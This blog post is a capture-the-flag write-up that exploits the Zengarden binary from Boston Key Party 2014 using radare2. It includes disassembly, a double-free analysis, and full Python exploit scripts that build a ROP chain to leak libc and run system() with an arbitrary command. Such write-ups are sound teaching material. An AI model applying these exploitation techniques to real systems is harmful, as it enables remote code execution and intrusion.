Artificial truth

The more you see, the less you believe.

[archives] [latest] | [homepage] | [atom/rss]

Exploiting Zengarden (Boston Key Party 2014, pwn300) with radare2
Sat 20 December 2014 — download

I was looking for a nice binary to experiment with heap exploitation, when crowell told me about Zengarden.

Running the binary

If you try to run the binary, it will just hang. Running it with strace will yields some socket-related errors. Since this is a ctf binary, I wouldn't be surprised if it's meant to be run with some socat black magic:

$ socat TCP-LISTEN:2323,reuseaddr,fork EXEC:'strace -i -f ./zengarden'

Then, in another terminal:

$ nc localhost 2323
wow,                  _______ _ __
     welcome    your |_  / _ \ '_ \
            to       / /  __/ | | |
                    /___\___|_| |_| garden

[a]dd, [d]elete, [p]erform or [q]uit?

Yay!

What is this ?

Since it seems that the binary is written in C++ and likely compiled with G++, we can grep for _Z to find non-standard symbols.

[0x08048da0]> afl~_Z
0x08048c00  6  1  sym.imp._ZNSt8ios_base4InitD1Ev
0x08048e8c  114  7  sym._Z8find_fitj
0x08048efe  95  3  sym._Z8bkmallocj
0x08048f5d  32  1  sym._Z6bkfreePv
0x080491ff  91  1  sym._Z11simplePrintPc
0x0804925a  667  15  sym._Z9addObjectv
0x080494f5  144  5  sym._Z12deleteObjectv
0x08049585  354  9  sym._Z13performActionv
0x080496e7  65  1  sym._Z10readNbytesj
0x08049728  63  4  sym._Z41__static_initialization_and_destruction_0ii
0x08048bc0  6  1  sym.imp._ZNSt8ios_base4InitC1Ev
0x08049783  8  1  sym._ZnwjPv
0x080498f4  100  1  sym._ZN4Tree4treeEv
0x08049958  99  3  sym._ZN6Person3actEv
0x080499bc  142  2  sym._ZN6Person8exerciseEPc
0x08049a4a  14  1  sym._ZN4PondC1Ev
0x08049a58  14  1  sym._ZN4TreeC2Ev
0x08049a66  14  1  sym._ZN6PersonC2Ev
0x080497f0  113  2  sym._ZN4RakeC1Ev
0x08049862  146  3  sym._ZN4Rake3sayEv
0x0804978c  99  1  sym._ZN4Pond4gazeEv
  • find_fit is used to find an empty chunk to allocate an object
  • bkmalloc is a custom malloc implementation
  • bkfree is (obviously) a custom free implementation
  • simplePrint prints the given char on stdout
  • addObject adds an object (duh)
  • deleteObject removes an object
  • performAction calls the first method of an object
  • readNbytes reads a given amount of bytes

So, we can add objects, delete them, and call their first method. It's also worth noticing that the pond's action is to disclose its memory address.

How can we get a shell now?

Finding the vuln'

Since I was asking for a heap-related issue, I guess that we should take a look at malloc and free.

It took me quite some time to actually find the vuln (and to be honest, I used IDA Pro a bit).

bkfree

[0x08048da0]> pdf @ sym._Z6bkfreePv
 (fcn) sym._Z6bkfreePv 32
          ; CALL XREF from 0x0804956e (unk)
          0x08048f5d    55           push ebp
          0x08048f5e    89e5         mov ebp, esp
          0x08048f60    83ec10       sub esp, 0x10
          0x08048f63    8b4508       mov eax, dword [ebp + 8]
          0x08048f66    83e808       sub eax, 8
          0x08048f69    8945fc       mov dword [ebp - 4], eax
          0x08048f6c    8b45fc       mov eax, dword [ebp - 4]
          0x08048f6f    8b4004       mov eax, dword [eax + 4]
          0x08048f72    8d5001       lea edx, dword [eax + 1]
          0x08048f75    8b45fc       mov eax, dword [ebp - 4]
          0x08048f78    895004       mov dword [eax + 4], edx
          0x08048f7b    c9           leave
          0x08048f7c    c3           ret
[0x08048da0]> 

This code is a bit tricky to understand, but it's roughly equivalent to:

*(eax - 8 + 4) += 1
return eax - 8

We can guess that eax is a pointer to a structure, and that the eax - 4 fields indicates whether the chunk is free of not.

It could be interesting to see where this function is called, with the axt command, and then to see from what function, with the fd one:

[0x08048da0]> axt sym._Z6bkfreePv
C 0x804956e call sym._Z6bkfreePv
[0x08048da0]> fd 0x804956e
sym._Z12deleteObjectv + 121

Unfortunately, the deleteObject function is a bit long:

[0x08048da0]> pdf @ sym._Z12deleteObjectv
 (fcn) sym._Z12deleteObjectv 144
          ; CALL XREF from 0x080491d6 (unk)
          0x080494f5    55           push ebp
          0x080494f6    89e5         mov ebp, esp
          0x080494f8    83ec28       sub esp, 0x28
          0x080494fb    c7042486a20. mov dword [esp], str.which_slot__0_4__n ; "which slot, 0-4?." @ 0x804a286
          0x08049502    e8f8fcffff   call sym._Z11simplePrintPc
          0x08049507    c7042402000. mov dword [esp], 2
          0x0804950e    e8d4010000   call sym._Z10readNbytesj
          0x08049513    8945f4       mov dword [ebp - 0xc], eax
          0x08049516    8b45f4       mov eax, dword [ebp - 0xc]
          0x08049519    0fb600       movzx eax, byte [eax]
          0x0804951c    8845f3       mov byte [ebp - 0xd], al
          0x0804951f    0fb645f3     movzx eax, byte [ebp - 0xd]
          0x08049523    83e830       sub eax, 0x30
          0x08049526    8845f3       mov byte [ebp - 0xd], al
          0x08049529    807df300     cmp byte [ebp - 0xd], 0
      ┌─< 0x0804952d    7806         js 0x8049535
         0x0804952f    807df304     cmp byte [ebp - 0xd], 4
     ┌──< 0x08049533    7e0e         jle 0x8049543
     │└─> 0x08049535    c7042498a20. mov dword [esp], str.sorry__invalid_slot__try_with_more_zen__n ; "sorry, invalid slot, try with more zen!." @ 0x804a298
         0x0804953c    e8befcffff   call sym._Z11simplePrintPc
    ┌───< 0x08049541    eb40         jmp 0x8049583          ; (sym._Z12deleteObjectv)
    │└──> 0x08049543    0fbe45f3     movsx eax, byte [ebp - 0xd]
         0x08049547    8b0485a0bc0. mov eax, dword [eax*4 + sym.types] ; ".ABI-tag" @ 0x804bca0
         0x0804954e    85c0         test eax, eax
   ┌────< 0x08049550    750e         jne 0x8049560
   ││     0x08049552    c7042478a30. mov dword [esp], 0x804a378
   ││     0x08049559    e8a1fcffff   call sym._Z11simplePrintPc
  ┌─────< 0x0804955e    eb23         jmp 0x8049583      ; (sym._Z12deleteObjectv)
  │└────> 0x08049560    0fbe45f3     movsx eax, byte [ebp - 0xd]
        0x08049564    8b04858cbc0. mov eax, dword [eax*4 + sym.items] ; "strtab" @ 0x804bc8c
        0x0804956b    890424       mov dword [esp], eax
        0x0804956e    e8eaf9ffff   call sym._Z6bkfreePv
        0x08049573    0fbe45f3     movsx eax, byte [ebp - 0xd]
        0x08049577    c70485b4bc0. mov dword [eax*4 + sym.emptied], 1 ; "uild-id" @ 0x804bcb4
        0x08049582    90           nop
  └─└───> 0x08049583    c9           leave
          0x08049584    c3           ret
[0x08048da0]> psz@0x804a378  # it seems that r2's analysis missed this one
there is nothing in this slot, fill it with zen

So, first, it's asking us what slot we want to free, checking if our choice is between 0 and 4, making sure that there is something in the slot, and finally calling bkfree on it.

Everything seems to be legit.

The twist

Time to check where sym.items is used:

[0x08048da0]> axt sym.items
d 0x804909e mov dword [eax*4 + sym.items], 0
d 0x8049564 mov eax, dword [eax*4 + sym.items]
[0x08048da0]> fd 0x804909e
main + 289
[0x08048da0]>

It seems that the deleteObject nor the bkfree function are changing the "is this chunk used" flag, allowing us to free objects multiple times!

This is where I used IDA a bit, because currently, radare2's analysis engine is being reworked, so it missed a few references.

How does this allow us to gain a shell?

  1. Create a big object
  2. Free it
  3. Create a smaller object. It will likely be allocated within the chunk of the first one.
  4. Free the first one a second time
  5. Create a smaller object than the first one. It will likely be allocated in the same chunk than the second one, allowing us to overwrite some parts of it.
  6. We now have two objects living in the same chunk.

Getting a crash

import socket
import time

s = socket.create_connection(('127.0.0.1', 2323))

print('Add rake in slot 0')
s.send('a\n')
s.send('r\n')
s.send('0\n')

print('Delete rake')
s.send('d\n')
s.send('0\n')

print('Add pond in slot 1')
s.send('a\n')
s.send('p\n')
s.send('1\n')

print('Getting offset of the pond')
s.send('p\n')
s.send('1\n')
print(s.recv(1000))

print('Deleting the rake again')
s.send('d\n')
s.send('0\n')

print('Sending payload')
s.send('a\n')
s.send('s\n')
s.send('2\n')
s.send('A'*1024 + '\n')
time.sleep(0.5)

print('Executing payload')
s.send('p\n')
s.send('1\n')

Launching this, we get:

[...]
recv(0, "2\n", 2, 0)                    = 2
send(1, "tell me what you want on the sig"..., 35, 0) = 35
fstat64(0, {st_mode=S_IFSOCK|0777, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff773e000
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 1025
open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = 3
writev(3, [{"*** Error in `", 14}, {"./zengarden", 11}, {"': ", 3}, {"realloc(): invalid pointer", 26}, {": 0x", 4}, {"0930b008", 8}, {" ***\n", 5}], 7*** Error in `./zengarden': realloc(): invalid pointer: 0x0930b008 ***
) = 71
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff773d000
rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
gettid()                                = 28077
tgkill(28077, 28077, SIGABRT)           = 0
--- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=28077, si_uid=1000} ---
+++ killed by SIGABRT +++
2014/12/15 17:00:39 socat[28073] E write(3, 0xf02410, 2): Broken pipe

Yay!

Controlling EIP

Ok, now that we can crash the thing, how can we control EIP? Time to read the Vudo malloc tricks, the Malloc Des-maleficarum, to corrupt some heap-metadata? Nop, there is a easier way.

Write-what-where

[0x08048da0]> afl~Sign
[0x08048da0]>

This is weird, the Sign object has no constructor? The sym._Z9addObjectv is a bit long to be fully posted here, but it's basically a switch-case that creates objects. Here is the Sign part:

[0x08048da0]> pd 19 @ 0x080493f2
          0x080493f2    c7042414a30. mov dword [esp], str.tell_me_what_you_want_on_the_sign__n  ; "tell me what you want on the sign:." @ 0x804a314
          0x080493f9    e801feffff   call sym._Z11simplePrintPc
          0x080493fe    c7042416030. mov dword [esp], 0x316
          0x08049405    e8f4faffff   call sym._Z8bkmallocj
          0x0804940a    8945d4       mov dword [ebp - 0x2c], eax
          0x0804940d    c745d015030. mov dword [ebp - 0x30], 0x315
          0x08049414    a16cbc0408   mov eax, dword [sym.stdin__GLIBC_2.0] ; ".7-2) 4.4.7" @ 0x804bc6c
          0x08049419    89442408     mov dword [esp + 8], eax
          0x0804941d    8d45d0       lea eax, dword [ebp - 0x30]
          0x08049420    89442404     mov dword [esp + 4], eax
          0x08049424    8d45d4       lea eax, dword [ebp - 0x2c]
          0x08049427    890424       mov dword [esp], eax
          0x0804942a    e801f8ffff   call sym.imp.getline
          0x0804942f    0fbe45eb     movsx eax, byte [ebp - 0x15]
          0x08049433    c70485a0bc0. mov dword [eax*4 + sym.types], 3 ; ".ABI-tag" @ 0x804bca0
          0x0804943e    0fbe45eb     movsx eax, byte [ebp - 0x15]
          0x08049442    8b55d4       mov edx, dword [ebp - 0x2c]
          0x08049445    8914858cbc0. mov dword [eax*4 + sym.items], edx ; "strtab" @ 0x804bc8c
          0x0804944c    e9a2000000   jmp 0x80494f3                  ; (sym._Z9addObjectv)
[0x08048da0]>

It seems to be a nice write-what-where primitive, since it's simply a wrapper around getline(3). So, using the offset of the pond, we can write to offset + 4 (The address of the function triggered by the perform action) to control the EIP.

import socket
import struct
import time
import re

s = socket.create_connection(('127.0.0.1', 2323))

print('Add rake in slot 0')
s.send('a\n')
s.send('r\n')
s.send('0\n')

print('Delete rake in slot 0')
s.send('d\n')
s.send('0\n')

print('Add pond in slot 1')
s.send('a\n')
s.send('p\n')
s.send('1\n')

print('Getting offset of the pond in slot 1')
s.send('p\n')
s.send('1\n')
time.sleep(0.5)

a = s.recv(1000)
r = re.compile('you gaze into the pond and see reflection of (0x[0-9a-f]+)')
offset = int(r.search(a).group(1), 16)
print '[+] offset of the pond in slot 1 : ' + hex(offset)

print('Deleting the rake again in slot 0')
s.send('d\n')
s.send('0\n')

payload = struct.pack('<I', offset+4) + struct.pack('<I', 0x41414141)
payload += 'B'*4
print('Sending payload within a sign in slot 2')
s.send('a\ns\n2\n' + payload + '\n')
time.sleep(0.5)
s.recv(1000)

print('Executing payload by performing in slot 1')
s.send('p\n')
s.send('1\n')

Resulting in:

[...]
[f76f3ca0] recv(0, "s\n", 2, 0)         = 2
[f76f3ca0] send(1, "which slot, 0-4?\n", 17, 0) = 17
[f76f3ca0] recv(0, "2\n", 2, 0)         = 2
[f76f3ca0] send(1, "tell me what you want on the sig"..., 35, 0) = 35
[f76f3ca0] fstat64(0, {st_mode=S_IFSOCK|0777, st_size=0, ...}) = 0
[f76f3ca0] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff76f0000
[f76f3ca0] read(0, "\fp\322\tAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 788
[f76f3ca0] send(1, "[a]dd, [d]elete, [p]erform or [q"..., 38, 0) = 38
[f76f3ca0] recv(0, "p\n", 2, 0)         = 2
[f76f3ca0] send(1, "which slot, 0-4?\n", 17, 0) = 17
[f76f3ca0] recv(0, "1\n", 2, 0)         = 2
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV +++

Yay!

Stack pivoting

We're controlling EIP, time to find a stack pivot to ROP our way to system("/bin/sh"). If you attach r2 to the process (I put a raw_input right before triggering the vuln.) with r2 dbg://$(pidof zengarden) and examine the context, you'll notice that:

  • eax = eip
  • edx is pointing to our payload
  • esp+4 is also pointing to our payload

Unlike a classical stack-based buffer-overflow, we have to take control of the stack using a single gadget here.

I was looking for something elegant when I stumbled upon the simplePrint function:

[0x08048da0]> pdf@sym._Z11simplePrintPc
 (fcn) sym._Z11simplePrintPc 91
          ; XREFS: CALL 0x08049267  CALL 0x080492ba  CALL 0x080492f4  
          ; XREFS: CALL 0x08049334  CALL 0x08049314  CALL 0x080492a9  
          ; XREFS: CALL 0x08049502  CALL 0x0804953c  CALL 0x08049559  
          ; XREFS: CALL 0x08049592  CALL 0x080495cc  CALL 0x0804960c  
          ; XREFS: CALL 0x080495ec  
          0x080491ff    55           push ebp
          0x08049200    89e5         mov ebp, esp
          0x08049202    53           push ebx
          0x08049203    81ece4000000 sub esp, 0xe4
          0x08049209    8b4508       mov eax, dword [ebp + 8]
          0x0804920c    89442404     mov dword [esp + 4], eax
          0x08049210    8d852cffffff lea eax, dword [ebp - 0xd4]
          0x08049216    890424       mov dword [esp], eax
          0x08049219    e802f9ffff   call sym.imp.sprintf
          0x0804921e    8945f4       mov dword [ebp - 0xc], eax
          0x08049221    8b5df4       mov ebx, dword [ebp - 0xc]
          0x08049224    a180bc0408   mov eax, dword [sym.stdout__GLIBC_2.0] ; sym.stdout__GLIBC_2.0
          0x08049229    890424       mov dword [esp], eax
          0x0804922c    e8dff8ffff   call sym.imp.fileno            ; (fcn.08048b0c)
          0x08049231    895c2408     mov dword [esp + 8], ebx
          0x08049235    8d952cffffff lea edx, dword [ebp - 0xd4]
          0x0804923b    89542404     mov dword [esp + 4], edx
          0x0804923f    890424       mov dword [esp], eax
          0x08049242    e8f30c0000   call sym.ctf_send
      ┌─< 0x08049247    eb08         jmp 0x8049251              ; (sym._Z11simplePrintPc)
         0x08049249    890424       mov dword [esp], eax
         0x0804924c    e81ffbffff   call sym.imp._Unwind_Resume
      └─> 0x08049251    81c4e4000000 add esp, 0xe4
          0x08049257    5b           pop ebx
          0x08049258    5d           pop ebp
          0x08049259    c3           ret

It's a simple wrapper around a sprintf call, that writes on the stack. So the trick is to call this function without his prologue, with a large input, triggering a stack-based buffer-overflow, and granting us an execution of our own fake stack.

Since I'm lazy, I used a De Bruijn pattern to get the right offset. Just add the output of ragg2 -P 256 -r to the payload variable before the payload += 'B'*4 line.

# r2 dbg://$(pidof zengarden)
r_debug_select: 30926 30926
pid = 30926 tid = 30926
[0xf7787ca0]> dc
r_debug_select: 30926 1
[+] signal 11 aka SIGSEGV received
[0x6c41416b]> dr=
 eip 0x6c41416b    oeax 0xffffffff     eax 0x00000109     ebx 0x68414167
 ecx 0x00000000     edx 0xffb9d75d     esp 0xffb9d6cc     ebp 0xffb9d728
 esi 0x41694141     edi 0x41416a41     eflags = 1SIV     
[0x6c41416b]> woO eip
108
[0x6c41416b]> 

So, we have to send 108 chars of padding before overwriting the return address of the simplePrint function.

ROP chain

As usual:

  1. Get a GOT address. It seems that the classic relocation to use is __libc_start_main. You can get its offset with pd 1 @ reloc.__libc_start_main.
  2. Compute the delta to system.
  3. Write our payload somewhere.
  4. Call system with our previously-written payload as argument.

Executing the second-stage

Since ASLR is enabled system-wide, we have to leak the adress of system before calling it. This means that our ROP-payload will consists (at least) in two parts: the leak and the call.

I could of course return to the "pivot" gadget, but I wanted to try something else that I saw on Eindbazen's Ropasaurus Rex writeup: pop ebp ; ret and leave ; ret. Remember that leave ; ret is equivalent to mov esp, ebp ; pop ebp ; ret. Both gadgets are quite common, since they are used in epilogues.

The trick is to call a writing primitive to put [system][exit][command] somewhere, and to use it as a fake stack with the help of the two aforementioned gadgets. This is way more elegant than a ret-to-vuln!

Writing the ROP-chain

Getting a GOT address

[0x08048da0]> pd 1 @ reloc.__libc_start_main_188 
           ;-- reloc.__libc_start_main_188:
           0x0804bbbc    e68b         out -0x75, al  ; RELOC 32 __libc_start_main
[0x08048da0]> 

Computing system's offset

$ r2  /lib/i386-linux-gnu/libc.so.6
[0x00019be0]> is~name=system
vaddr=0x00055ac0 paddr=0x0003e770 ord=1443 fwd=NONE sz=56 bind=UNKNOWN type=FUNC name=system
[0x00019be0]> is~__libc_start_main
vaddr=0x00030ce0 paddr=0x00019990 ord=2259 fwd=NONE sz=454 bind=GLOBAL type=FUNC name=__libc_start_main
[0x00019be0]> 

Finding where to write our payload

[0x08048da0]> iS~w
idx=19 vaddr=0x0804ba60 paddr=0x00002a60 sz=8 vsz=8 perm=-rw- name=.init_array
idx=20 vaddr=0x0804ba68 paddr=0x00002a68 sz=4 vsz=4 perm=-rw- name=.fini_array
idx=21 vaddr=0x0804ba6c paddr=0x00002a6c sz=4 vsz=4 perm=-rw- name=.jcr
idx=22 vaddr=0x0804ba70 paddr=0x00002a70 sz=264 vsz=264 perm=-rw- name=.dynamic
idx=23 vaddr=0x0804bb78 paddr=0x00002b78 sz=4 vsz=4 perm=-rw- name=.got
idx=24 vaddr=0x0804bb7c paddr=0x00002b7c sz=176 vsz=176 perm=-rw- name=.got.plt
idx=25 vaddr=0x0804bc2c paddr=0x00002c2c sz=8 vsz=8 perm=-rw- name=.data
idx=26 vaddr=0x0804bc40 paddr=0x00002c34 sz=140 vsz=140 perm=-rw- name=.bss
idx=32 vaddr=0x0804ba60 paddr=0x00002a60 sz=4096 vsz=4096 perm=-rw- name=phdr1
idx=33 vaddr=0x08048000 paddr=0x00000000 sz=52 vsz=52 perm=-rw- name=ehdr
[0x08048da0]>

I chose the .dynamic segment.

Exploit

import re
import socket
import struct
import sys
import time

def rop(*args):
    return struct.pack('I'*len(args), *args)

cmd = 'id'
if len(sys.argv) > 1:
    cmd = sys.argv[1]

s = socket.create_connection(('127.0.0.1', 2323))


# Local offsets of symbols
local__libc_start_main = 0x19990
local_system = 0x3e770

system_offset = local__libc_start_main - local_system

pivot = 0x08049210
plt_gets = 0x08048bb0
plt_exit = 0x08048d90
plt_simplePrint = 0x080491ff
got__libc_start_main = 0x0804bbbc

write_addr = 0x0804ba70

popret = 0x804a088
popebpret = 0x0804a088
leaveret = 0x0804a0a5

print('[*] Adding rake in slot 0')
s.send('a\n')
s.send('r\n')
s.send('0\n')

print('[*] Deleting rake in slot 0')
s.send('d\n')
s.send('0\n')

print('[*] Adding pond in slot 1')
s.send('a\n')
s.send('p\n')
s.send('1\n')

print('[*] Getting offset of the pond in slot 1')
s.send('p\n')
s.send('1\n')
time.sleep(0.5)

r = re.compile('you gaze into the pond and see reflection of (0x[0-9a-f]+)')
offset = int(r.search(s.recv(1000)).group(1), 16)
print '[+] offset of the pond in slot 1 : ' + hex(offset)

print('[*] Deleting the rake again in slot 0')
s.send('d\n')
s.send('0\n')

ropchain = rop(
    plt_simplePrint,
        popret,
    got__libc_start_main,

        plt_gets,
        popret,
        write_addr,

        popebpret,
        write_addr,
        leaveret
)

payload = struct.pack('<I', offset+4) + struct.pack('<I', pivot)
payload += 'A' * 108  # padding before overwriting the return address of simplePrint
payload += ropchain
payload += 'B'*4

print('[*] Sending payload within a sign in slot 2')
s.send('a\ns\n2\n' + payload + '\n')
time.sleep(0.5)
s.recv(1000)

print('[*] Executing payload by performing in slot 1')
s.send('p\n')
s.recv(1000)
s.send('1\n')
time.sleep(0.5)

leaked_got = struct.unpack('<I', s.recv(4))[0]
print('[+] GOT at 0x%08x' % leaked_got)

system = leaked_got - system_offset
print('[+] system(2) at 0x%08x' % system)

buf = rop(
    0x42424242,  # new value of ebp, we don't care.

    system,
    popret,
    write_addr + 5*4,

    plt_exit,
) + cmd + '\0'

s.send(buf + '\n')
time.sleep(.5)

print s.recv(1000)
s.close()

Resulting in:

$ python exploit.py uptime
[*] Adding rake in slot 0
[*] Deleting rake in slot 0
[*] Adding pond in slot 1
[*] Getting offset of the pond in slot 1
[+] offset of the pond in slot 1 : 0x9e0a008
[*] Deleting the rake again in slot 0
[*] Sending payload within a sign in slot 2
[*] Executing payload by performing in slot 1
[+] GOT at 0xf7490990
[+] system(2) at 0xf74b5770
03:53:17 up  7:18, 10 users,  load average: 0.04, 0.20, 0.32

I added some sleep because I was too lazy to read the documentation about sockets in Python.

Conclusion

Quite a nice challenge, despite the fact that it took me way too much time to pwn it, thank you crowell!